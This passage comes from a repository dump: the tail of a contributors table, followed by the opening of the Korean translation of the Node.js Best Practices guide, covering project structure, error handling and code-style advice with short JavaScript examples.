valign=\"top\" width=\"14.28%\"><a href=\"https://jjy0821.tistory.com/\"><img src=\"https://avatars.githubusercontent.com/u/88075341?v=4\" width=\"100px;\" alt=\"정진영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>정진영</b></sub></a><br /><a href=\"#content-jjy821\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kkk-cashwalk\"><img src=\"https://avatars.githubusercontent.com/u/91455122?v=4\" width=\"100px;\" alt=\"kkk-cashwalk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kkk-cashwalk</b></sub></a><br /><a href=\"#content-kkk-cashwalk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/apainintheneck\"><img src=\"https://avatars.githubusercontent.com/u/42982186?v=4\" width=\"100px;\" alt=\"apainintheneck\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>apainintheneck</b></sub></a><br /><a href=\"#content-apainintheneck\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/koyanyaroo\"><img src=\"https://avatars.githubusercontent.com/u/9715368?v=4\" width=\"100px;\" alt=\"Fajar Budhi Iswanda\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fajar Budhi Iswanda</b></sub></a><br /><a href=\"#content-koyanyaroo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jutiger\"><img src=\"https://avatars.githubusercontent.com/u/97490806?v=4\" width=\"100px;\" alt=\"이주호\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>이주호</b></sub></a><br /><a href=\"#content-jutiger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MisterSingh\"><img src=\"https://avatars.githubusercontent.com/u/44462019?v=4\" width=\"100px;\" alt=\"Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Singh</b></sub></a><br /><a href=\"#content-MisterSingh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alex-Dumitru\"><img src=\"https://avatars.githubusercontent.com/u/43738450?v=4\" width=\"100px;\" alt=\"Alex Dumitru\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alex Dumitru</b></sub></a><br /><a href=\"#content-Alex-Dumitru\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lykhatskyi\"><img src=\"https://avatars.githubusercontent.com/u/18104686?v=4\" width=\"100px;\" alt=\"Anton Lykhatskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Anton Lykhatskyi</b></sub></a><br /><a href=\"#content-lykhatskyi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/EverythingAvailable\"><img src=\"https://avatars.githubusercontent.com/u/81002379?v=4\" width=\"100px;\" alt=\"sangwonlee\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>sangwonlee</b></sub></a><br /><a href=\"#content-EverythingAvailable\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/euberdeveloper\"><img src=\"https://avatars.githubusercontent.com/u/33126163?v=4\" width=\"100px;\" alt=\"Eugenio Berretta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eugenio Berretta</b></sub></a><br /><a href=\"#content-euberdeveloper\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/soranakk\"><img src=\"https://avatars.githubusercontent.com/u/3930307?v=4\" width=\"100px;\" alt=\"soranakk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>soranakk</b></sub></a><br /><a href=\"#content-soranakk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/backend-joonyoung\"><img src=\"https://avatars.githubusercontent.com/u/94430145?v=4\" width=\"100px;\" alt=\"고준영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>고준영</b></sub></a><br /><a href=\"#content-backend-joonyoung\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=backend-joonyoung\" title=\"Code\">💻</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GuilhermePortella\"><img src=\"https://avatars.githubusercontent.com/u/59876059?v=4\" width=\"100px;\" alt=\"Guilherme Portella \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Guilherme Portella </b></sub></a><br /><a href=\"#content-GuilhermePortella\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A\"><img src=\"https://avatars.githubusercontent.com/u/18497570?v=4\" width=\"100px;\" alt=\"André Esser\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>André Esser</b></sub></a><br /><a href=\"#content-Esser50K\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ShiChenCong\"><img src=\"https://avatars.githubusercontent.com/u/22486446?v=4\" width=\"100px;\" alt=\"Scc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Scc</b></sub></a><br /><a href=\"#translation-ShiChenCong\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.mauroaccornero.it\"><img src=\"https://avatars.githubusercontent.com/u/1875822?v=4\" width=\"100px;\" alt=\"Mauro Accornero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mauro Accornero</b></sub></a><br /><a href=\"#content-mauroaccornero\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/no-yan\"><img src=\"https://avatars.githubusercontent.com/u/63000297?v=4\" width=\"100px;\" alt=\"no-yan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>no-yan</b></sub></a><br /><a href=\"#content-no-yan\" title=\"Content\">🖋</a></td>\n    </tr>\n  </tbody>\n</table>\n\n<!-- markdownlint-restore -->\n<!-- prettier-ignore-end -->\n\n<!-- ALL-CONTRIBUTORS-LIST:END -->\n"
  },
  {
    "path": "README.korean.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Node.js 모범 사례\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js Best Practices\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%2086%20Best%20Practices-blue.svg\" alt=\"86 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20March%2012%202020-green.svg\" alt=\"Last update: March, 2020\"/> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2012.12.0-brightgreen.svg\" alt=\"Updated for Node 13.1.0\"/>\n</div>\n\n<br/>\n\n[![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **트위터에서 팔로우 하세요!** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\n[:green_book: 포괄적인 Node.js 테스트 & 품질 모범사례 강의](https://testjavascript.com/)\n\n<br/>\n\n다른 언어로 읽기: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![FR](./assets/flags/FR.png)**FR**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** and ![TR](./assets/flags/TR.png)**TR** 은 작업중입니다!)](#translations)\n\n<br/>\n\n###### [운영 위원회](#운영-위원회)와 [협력자분들](#공동-저자)에 의해 구축되고 유지되고 있습니다\n\n# 최근 모범사례와 뉴스\n\n- **![FR](./assets/flags/FR.png) 프랑스어 번역!1! :** 우리의 국제 가이드에 합류한 최신 번역은 프랑스어입니다. Bienvenue(어서오세요.)\n\n- **🇯🇵 Japanese translation:** 우리 가이드는 이제 일본어로도 번역됩니다! 뛰어난 [YukiOta](https://github.com/YukiOta)와 [Yuta Azumi](https://github.com/YA21)의 제공입니다.\n\n- **🎊 60,000 stars!**: 우리 리포지토리는 60,100명의 개발자에게 별을 받고 신뢰를 얻었습니다. 말문이 막힐 정도입니다.\n\n<br/><br/>\n\n# 어서오세요! 먼저 이 3가지를 알아두세요\n\n**1. 이 문서를 읽는 것은 베스트 Node.js 문서 수십개를 읽는 것과 같습니다. -** 이 문서는 Node.js 의 가장 일반적인 Best Practice 모범사례들을 모은 요약집 및 큐레이션입니다.\n\n**2. 가장 큰 모음집이며, 매주 성장하고 있습니다. -** 현재 80개 이상의 모범사례들과 스타일 가이드 및 아키텍처 관련 팁들을 제공하고 있습니다. 이 문서를 계속 갱신하는 새로운 이슈들과 PR들이 매일 나오고 있습니다. 이 문서의 잘못된 코드를 고치거나 새로운 아이디어들을 제안하는 것은 매우 환영합니다. [글쓰기 지침은 여기](./.operations/writing-guidelines.md)서 확인하세요\n\n**3. 항목 대부분은 추가적인 정보가 있습니다 -** 항목 옆쪽에 존재하는 **🔗자세히 보기** 링크에서 코드 예제, 참조 블로그 또는 기타 정보들을 확인 할 수 있습니다.\n\n<br/><br/>\n\n## 목차\n\n1. [프로젝트 구조 설계 (5)](#1-프로젝트-구조-설계)\n2. [에러 처리 방법 (11)](#2-에러-처리-방법)\n3. [코드 스타일 (12) ](#3-코드-스타일)\n4. [테스트 및 전체 품질 관리 (13) ](#4-테스트-및-전체-품질-관리)\n5. [운영 환경으로 전환하기 (19) ](#5-운영-환경으로-전환하기)\n6. [보안 (25)](#6-보안)\n7. [성능 (2) (현재진행형 ✍️)](#7-초안-성능)\n\n<br/><br/>\n\n# `1. 프로젝트 구조 설계`\n\n## ![✔] 1.1 컴포넌트 기반으로 설계하라\n\n**핵심요약:** 큰 프로젝트에서 빠지기 쉬운 최악의 함정은 수백개의 의존성을 가진 커다란 소스코드를 유지보수하는 것이다. 그렇게 단일로 통째로 짜여진 monolith 코드는 개발자가 새로운 기능을 추가하는 속도가 느려지게 한다. 그 대신에 코드를 컴포넌트로 나누고, 각각의 컴포넌트가 자신의 폴더 혹은 할당된 코드베이스를 안에서 작고 간단한 단위로 유지되도록 해라. 아래의 '자세히 보기'를 눌러 올바른 프로젝트 구조의 예시를 확인해라.\n\n**그렇게 하지 않을 경우:** 새로운 기능을 작성하는 개발자가 변경사항이 어떤 영향을 미치는지 알기가 힘들면 의존하고 있는 다른 컴포넌트를 망칠까 두려워 하게 되고, 이는 배포를 더 느리고 더 불안전하게 만든다. 비지니스 단위가 나눠져 있지 않으면 확장(scale-out)하기도 쉽지 않게 된다.\n\n🔗 [**자세히 보기: 컴포넌트로 구조화하기**](./sections/projectstructre/breakintcomponents.korean.md)\n\n<br/><br/>\n\n## ![✔] 1.2 컴포넌트를 계층화(layer)하고, Express를 그 경계 안에 둬라\n\n**핵심요약:** 각각의 컴포넌트는 웹, 로직, 데이터 접근 코드을 위한 객체인 '계층'을 포함해야 한다. 이것은 우려할 만한 요소들을 깨끗하게 분리할 뿐만 아니라 모의 객체(mock)를 만들어 테스트하기 굉장히 쉽게 만든다. 이것이 굉장히 일반적인 패턴임에도, API 개발자들은 웹 계층의 객체 (Express req, res)를 비지니스 로직과 데이터 계층으로 보내서 계층을 뒤섞어버리는 경향이 있다. 그렇게 하는것은 당신의 어플리케이션에 의존성을 만들고 Express에서만 접근 가능하도록 만든다.\n\n**그렇게 하지 않을 경우:** 웹 객체와 다른 계층을 뒤섞은 앱은 테스트 코드, CRON 작업이나 Express가 아닌 다른 곳에서의 접근을 불가능하게 한다.\n\n🔗 [**자세히 보기: 앱을 계층화하기**](./sections/projectstructre/createlayers.korean.md)\n\n<br/><br/>\n\n## ![✔] 1.3 공유 유틸리티들은 NPM 패키지로 감싸라 (wrap)\n\n**핵심요약:** 커다란 코드 기반으로 구성되어있는 커다란 앱에서는 로깅, 암호화 같은 횡단 관심사(cross-cutting-concern)가 있는 유틸의 경우 당신이 쓴 코드로 감싸진 private NPM package의 형태로 노출이 되어야 한다. 이것은 여러 코드 기반과 프로젝트들에게 그것들을 공유할 수 있도록 해준다.\n\n**그렇게 하지 않을 경우:** 당신 자신만의 배포 및 종속 바퀴(dependency wheel)를 새로이 발명해야 할 것이다.\n\n🔗 [**자세히 보기: 기능으로 구조화 하기**](./sections/projectstructre/wraputilities.korean.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Express의 app과 server를 분리하라\n\n**핵심요약:** [Express](https://expressjs.com/) 앱을 통째로 하나의 큰 파일에 정의하는 나쁜 습관은 피해라 - 'Express' 정의를 최소한 둘로는 나누자: API 선언(app.js)과 네트워크 부분(WWW)으로. 더 좋은 구조는 API 선언을 컴포넌트 안에 놓는 것이다.\n\n**그렇게 하지 않을 경우:** HTTP 요청으로만 API 테스트가 가능하게 된다 (커버리지 보고서를 생성하기가 더 느려지고 훨씬 힘들어진다). 수백줄의 코드를 하나의 파일에서 관리하는 것이 크게 즐겁지는 않을 것이다.\n\n🔗 [**자세히 보기: Express를 'app'과 'server'로 분리하기**](./sections/projectstructre/separateexpress.korean.md)\n\n<br/><br/>\n\n## ![✔] 1.5 환경을 인식하는, 보안적인, 계층적인 설정을 사용하라\n\n**핵심요약:** 완벽하고 결점이 없는 구성 설정은 (a) 파일과 환경변수 모두에서 키 값을 읽을 수 있어야하고 (b) 보안 값들은 커밋된 코드 밖에서 관리되어야하며 (c) 설정은 좀 더 쉽게 찾을 수 있도록 계층적으로 관리해야 한다. [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config), [convict](https://www.npmjs.com/package/convict)와 같이 이러한 요구사항을 동작하게 해주는 몇가지 패키지가 존재한다.\n\n**그렇게 하지 않을 경우:** 위의 구성 요구사항 중 하나라도 만족시키지 못한다면 개발팀이나 데브옵스팀을 늪으로 몰아갈 수 있다. 십중팔구 둘 다.\n\n🔗 [**자세히 보기: 구성 모범 사례**](./sections/projectstructre/configguide.korean.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#목차\">⬆ 목차로 돌아가기</a></p>\n\n# `2. 에러 처리 방법`\n\n## ![✔] 2.1 비동기 에러 처리시에는 async-await 혹은 promise를 사용하라\n\n**핵심요약:** 비동기 에러를 콜백 스타일로 처리하는 것은 지옥으로 가는 급행열차나 마찬가지 (혹은 파멸의 피라미드). 당신이 코드에 줄 수 있는 가장 큰 선물은 평판이 좋은 promise 라이브러리를 사용하거나 훨신 작고 친숙한 코드 문법인 try-catch를 사용하게 해주는 async-await를 사용하는 것이다.\n\n**그렇게 하지 않을 경우:** Node.js의 function(err, response) 콜백 스타일은 에러 처리와 일반 코드의 혼합, 코드의 과도한 중첩, 어색한 코딩 패턴 때문에 유지보수가 불가능한 코드로 가는 확실한 길이다.\n\n🔗 [**자세히 보기: 콜백 피하기**](./sections/errorhandling/asyncerrorhandling.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.2 내장된 Error 객체만 사용하라\n\n**핵심요약:** 많은 사람들이 문자열이나 사용자가 임의로 정의한 타입으로 에러를 던지곤 하는데(throw), 이것은 에러처리 로직과 모듈 사이의 상호운영성을 복잡하게 한다. 당신이 promise를 거부(reject)하든, 예외를 던지든, 에러를 내던간에, 내장된 Error 객체만 이용하는 것이 균일성을 향상하고 정보의 손실을 방지해준다.\n\n**그렇게 하지 않을 경우:** 일부 컴포넌트를 호출할때 어떤 에러의 타입이 반환될지 불확실해져서 적절한 에러처리가 매우 어려워진다. 게다가 임의적인 타입으로 에러를 나타내는 것은 스택 정보(stack trace)와 같은 중요한 에러 관련 정보 손실을 일으킬 수 있다!\n\n🔗 [**자세히 보기: 내장된 Error 객체 사용하기**](./sections/errorhandling/useonlythebuiltinerror.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.3 동작상의 에러와 프로그래머 에러를 구분하라\n\n**핵심요약:** API에서 잘못된 입력을 받는 것과 같은 동작상의 에러는 에러의 영향을 완전히 이해할수 있고 신중하게 처리 할수있는 알려진 경우를 의미한다. 반면에, 정의되지 않은 변수를 읽는 것과 같은 프로그래머 에러는 어플리케이션을 안정적으로 다시 시작하게 만드는 알수 없는 코드 에러를 의미한다.\n\n**그렇게 하지 않을 경우:** 에러가 날 때마다 어플리케이션을 다시 시작할수도 있지만, 왜 사소하고 예측가능한 동작상의 오류때문에 5000명의 온라인 사용자를 다운시키는 것인가? 그 반대도 이상적이지 않다. 알수없는 이슈 (프로그래머 에러)가 났는데 어플리케이션을 그대로 두는 것은 예측이 불가능한 반응을 일으킬 수 있다. 두 가지를 구별하면 요령있는 처신과 주어진 상황에 따른 균형잡힌 접근이 가능하다.\n\n🔗 [**자세히 보기: 동작상의 에러와 프로그래머 에러**](./sections/errorhandling/operationalvsprogrammererror.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.4 에러를 Express 미들웨어에서 처리하지 말고 한군데에서 집중적으로 처리해라\n\n**핵심요약:** 관리자에게 메일을 보내거나 로깅을 하는 것과 같은 에러 처리는 에러가 발생할 때 모든 엔드포인트 (예를 들어 Express 미들웨어, cron 작업, 단위 테스트 등)가 호출하는 에러전용 중앙집중 객체로 캡슐화 되어야한다.\n\n**그렇게 하지 않을 경우:** 한 곳에서 에러를 처리하지 않는 것은 코드 중복과 부적절한 에러처리로 이어진다.\n\n🔗 [**자세히 보기: 중앙집중적으로 에러 처리하기**](./sections/errorhandling/centralizedhandling.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Swagger를 이용해 API 에러를 문서화하라\n\n**핵심요약:** API를 호출자들에게 어떤 에러가 돌아올 수 있는지 미리 알려주어서 에러를 충돌없이 신중하게 처리 할 수 있게 해주어라. RESTful API같은 경우엔 Swagger 같은 API 문서화 프레임워크를 통해 이루어진다. GraphQL의 경우엔 개요(schema)와 주석을 활용할 수 있다.\n\n**그렇게 하지 않을 경우:** API 클라이언트는 알수 없는 에러로 인한 충돌 후에 재시작을 결정할수도 있을 것이다. 참고로 당신의 API를 호출한 사람이 당신 자신 일수도 있다 (마이크로서비스 환경에서는 아주 일반적이다).\n\n🔗 [**자세히 보기: Swagger에서 에러 문서화하기**](./sections/errorhandling/documentingusingswagger.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.6 낯선이가 들어오면 프로세스를 적절하게 중단하라\n\n**핵심요약:** 알수 없는 에러(프로그래머 에러, 모범사례 2.3번 참조)가 발생하면 어플리케이션의 건강상태가 불확실해진다. 일반적인 방법은 [Forever](https://www.npmjs.com/package/forever)나 [PM2](http://pm2.keymetrics.io/) 같은 '재시작' 도구로 프로세스를 다시 시작하는 것이다.\n\n**그렇게 하지 않을 경우:** 익숙치 않은 예외가 발생하면 일부 객체가 오류 상태 (예를 들어 전역적으로 사용되지만 내부 오류로 인해 이벤트를 더이상 내보내지 않는 event emitter)라서 향후의 모든 요청을 실패시키거나 미친것처럼 작동할 수 있다.\n\n🔗 [**자세히 보기: 프로세스 중단하기**](./sections/errorhandling/shuttingtheprocess.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.7 에러 확인을 용이하게 해주는 안정된 로거를 사용하라\n\n**핵심요약:** Winston, Bunyan 혹은 Log4J와 같이 자리를 잡은 로깅 도구들은 에러를 발견하고 이해하는 속도를 높여준다. 그러니 console.log은 쓰지 마라\n\n**그렇게 하지 않을 경우:** 로그 검색 도구나 제대로 된 로그 뷰어 없이 console.log을 훑어보거나 복잡하게 꼬인 텍스트 파일을 일일이 읽어 보는 것은 야근을 부를 수 있다.\n\n🔗 [**자세히 보기: 발전된 로거를 사용하기**](./sections/errorhandling/usematurelogger.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.8 당신이 선호하는 테스트 프레임워크로 에러 흐름을 테스트하라\n\n**핵심요약:** 전문적인 자동화 QA든 일반적인 수동 개발자 테스트든 당신의 코드가 긍정적인 상황에서 잘 동작할 뿐만 아니라 올바른 에러를 처리하고 반환하는지도 확실히 하라. Mocha & Chai와 같은 테스트 프레임워크를 쓰면 쉽게 처리할 수 있다 (\"Gist popup\"안의 코드 예제를 확인하라).\n\n**그렇게 하지 않을 경우:** 자동이든 수동이든 테스트가 없다면 당신은 당신의 코드가 올바른 에러를 반환하는지 믿지 못할 것이다. 의미 있는 에러가 없다면 에러 처리도 없는 것이다.\n\n🔗 [**자세히 보기: 에러 흐름 테스트하기**](./sections/errorhandling/testingerrorflows.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.9 APM 제품을 사용하여 에러와 다운타임을 확인하라\n\n**핵심요약:** 모니터링 및 성능 제품(APM)은 미리 알아서 코드베이스와 API를 측정하고 자동적으로 당신이 놓친 에러, 충돌, 느린 부분을 강조 표시해준다.\n\n**그렇게 하지 않을 경우:** API의 성능과 다운타임을 측정하기위해 많은 노력을 들여야 할지도 모른다. 아마 당신은 실제 상황에서 어떤 코드 부분이 가장 느린지, 그것이 UX에 어떻게 영향을 미칠지 절대 알수없을 것이다.\n\n🔗 [**자세히 보기: APM 제품 사용하기**](./sections/errorhandling/apmproducts.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.10 처리되지 않은 promise 거부(unhandled promise rejection)를 잡아라\n\n**핵심요약:** promise 안에서 발생한 예외는 개발자가 명시적으로 처리하지 않는 한 삼켜져 버려지게 된다. 당신의 코드가 `process.uncaughtException` 이벤트를 구독하고 있다고해도 마찬가지다! `process.unhandledRejection` 이벤트를 등록해서 이것을 극복해라.\n\n**그렇게 하지 않을 경우:** 당신의 에러는 삼켜지고 어떤 흔적도 남기지 않을 것이다. 걱정할 것이 없긴 하다.\n\n🔗 [**자세히 보기: 처리되지 않은 promise 거부 잡기**](./sections/errorhandling/catchunhandledpromiserejection.korean.md)\n\n<br/><br/>\n\n## ![✔] 2.11 전용 라이브러리를 이용해 인자값이 유효한지 검사하여 빠르게 실패하라(fail fast)\n\n**핵심요약:** 나중에 처리하기가 더 힘들어지는 지저분한 버그를 피하기 위해 Assert API 입력은 당신의 Express 모범사례가 되어야 한다. 당신이 Joi와 같은 유용한 헬퍼 라이브러리를 사용하지 않는 이상 유효성 검사 코드는 일반적으로 손이 많이 간다.\n\n**그렇게 하지 않을 경우:** 이런 상황을 생각해보자. 당신의 함수가 \"Discount\"라는 숫자를 받아야하는데 요청하는 사람이 넘겨주는 것을 깜빡했다. 그 후에 당신의 코드는 Discount!=0인지 아닌지 체크한다(사실 허용된 Discount의 값은 0보다 커야 한다). 그러면 사용자가 할인을 받게될 것이다. 보이는가? 엄청나게 지저분한 버그이다.\n\n🔗 [**자세히 보기: 빠르게 실패하기**](./sections/errorhandling/failfast.korean.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#목차\">⬆ 목차로 돌아가기</a></p>\n\n# `3. 코드 스타일`\n\n## ![✔] 3.1 ESLint를 사용하라\n\n**핵심요약:** [ESLint](https://eslint.org)는 발생 가능한 코드 에러를 체크하고 껄끄러운 간격(spacing)문제를 식별하는 것부터 프로그래머가 분별없이 에러를 던지는 것과 같은 코드의 심각한 안티 패턴을 감지하여 코드 스타일을 바꾸는 것에 대한 사실상의 표준이다. ESLint도 자동으로 코드스타일을 고칠 수 있지만 [prettier](https://www.npmjs.com/package/prettier)와 [beautify](https://www.npmjs.com/package/js-beautify)같은 수정 부분의 포맷을 맞춰주는 강력한 툴이 있고 ESLint와 함께 작동된다.\n\n**그렇게 하지 않을 경우:** 프로그래머가 쓸데없이 간격과 각 줄의 길이(line-width) 문제에 집중하고 프로젝트의 코드스타일에 대해 과도하게 생각하느라 시간을 낭비하게 된다.\n\n<br/><br/>\n\n## ![✔] 3.2 Node.js에 특화된 플러그인들\n\n**핵심요약:** vanlla JS만 지원하는 ESLinst의 표준 규칙 위에 [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha), [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security)와 같은 Node에 특화된 플러그인을 같이 사용하라.\n\n**그렇게 하지 않을 경우:** 많은 결함이 있는 Node.js 코드 패턴들이 안중에서 벗어날 수 있다. 예를 들어 프로그래머는 변수로된 파일경로를 이용해 require(파일경로변수)로 파일을 가져올수 있다. 이것은 공격자들이 어떤 JS script도 실행시킬 수 있게 한다. Node.js linter는 그러한 패턴을 감지하고 미리 알려준다.\n\n<br/><br/>\n\n## ![✔] 3.3 코드 블록의 중괄호를 같은 줄에서 시작하라\n\n**핵심요약:** 블록에서 중괄호를 여는 부분은 코드를 여는 문장과 같은 줄에 있어야 한다.\n\n### 코드 예제\n\n```javascript\n// 좋은 예\nfunction someFunction() {\n  // 코드 블록\n}\n\n// 나쁜 예\nfunction someFunction()\n{\n  // 코드 블록\n}\n```\n\n**그렇게 하지 않을 경우:** 이 모범사례를 적용하지 않는 것은 아래의 StackOverflow 스레드에서 보는 바와 같이 예기치못한 결과로 이어질 수 있다.\n\n🔗 [**자세히 보기:** \"왜 결과가 중괄호의 위치에 따라 달라지는 거죠?\" (Stackoverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 문장을 제대로 분리해라\n\n당신이 문장 끝에 세미콜론을 붙이든 아니든, 제대로 문장을 끝내지 않거나 자동 세미콜론 삽입과 관련된 흔한 실수들을 알아두면 잦은 구문 오류 (syntax error)를 제거하는데 도움이 된다.\n\n**핵심요약:** ESLint를 써서 제대로 문장을 끝내고 있는지 경각심을 불러일으켜라. [Prettier](https://prettier.io/) or [Standardjs](https://standardjs.com/)는 자동으로 이 문제를 해결해준다.\n\n**그렇게 하지 않을 경우:** 이전 섹션에서 본것처럼 자바스크립트의 인터프리터는 세미콜론이 없으면 자동으로 문장의 끝에 세미콜론을 붙이거나, 문장이 끝났어야 함에도 끝났다고 인지하지 못하여 의도되지 않은 결과를 야기할 수 있다. 대부분의 의도하지 않은 에러들은 assignment를 사용하고 imediate invoked function expression을 사용하는 것을 피함으로써 예방할 수 있다.\n\n### 3.4 코드 예제\n\n```javascript\n// 좋은 예\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// 좋은 예\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// 나쁜 예 — 예외 발생\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// 나쁜 예 — 예외 발생\nconst count = 2 // 2()를 호출하려 하지만, 2는 함수가 아니다\n(function doSomething() {\n  // 이쁜짓\n}())\n// immediate invoked function 전에 세미콜론을 놓던나, const 정의 후에 놓거나, 익명함수의 반환값을 변수에 저장하던가, 아니면 아예 IIFE를 쓰지 마라\n```\n\n🔗 [**Read more:** \"Semi ESLint rule\"](https://eslint.org/docs/rules/semi)\n🔗 [**Read more:** \"No unexpected multiline ESLint rule\"](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 함수에 이름을 붙여라\n\n**핵심요약:** 클로저와 콜백을 포함한 모든 함수에 이름을 붙여라. 익명함수를 피해라. 이것은 노드 앱을 프로파일링 할때 특히 유용하다. 모든 함수를 명명하는 것은 당신이 메모리 스냅샷을 확인할때 당신이 보고있는 것이 무엇인지 쉽게 이해 할수있도록 해준다.\n\n**그렇게 하지 않을 경우:** 당신이 익명함수에서 메모리 소비가 많다는 것을 확인 했을 때 코어 덤프(메모리 스냅샷)을 이용해 프로덕션 문제를 디버깅하는 것이 어려울 수도 있습니다.\n\n<br/><br/>\n\n## ![✔] 3.6 변수, 상수, 함수, 클래스의 명명 규칙(naming convention)\n\n**핵심요약:** 상수와 변수 함수를 명명할때는 **_lowerCamelCase_** 를 사용하고 클래스를 명명 할때는 **_UpperCamelCase_**(첫 글자 대문자)를 사용하라. 이것은 일반 변수/함수와 인스턴스로 만들어야 하는 클래스를 구분하는데 도움을 것이다. 설명이 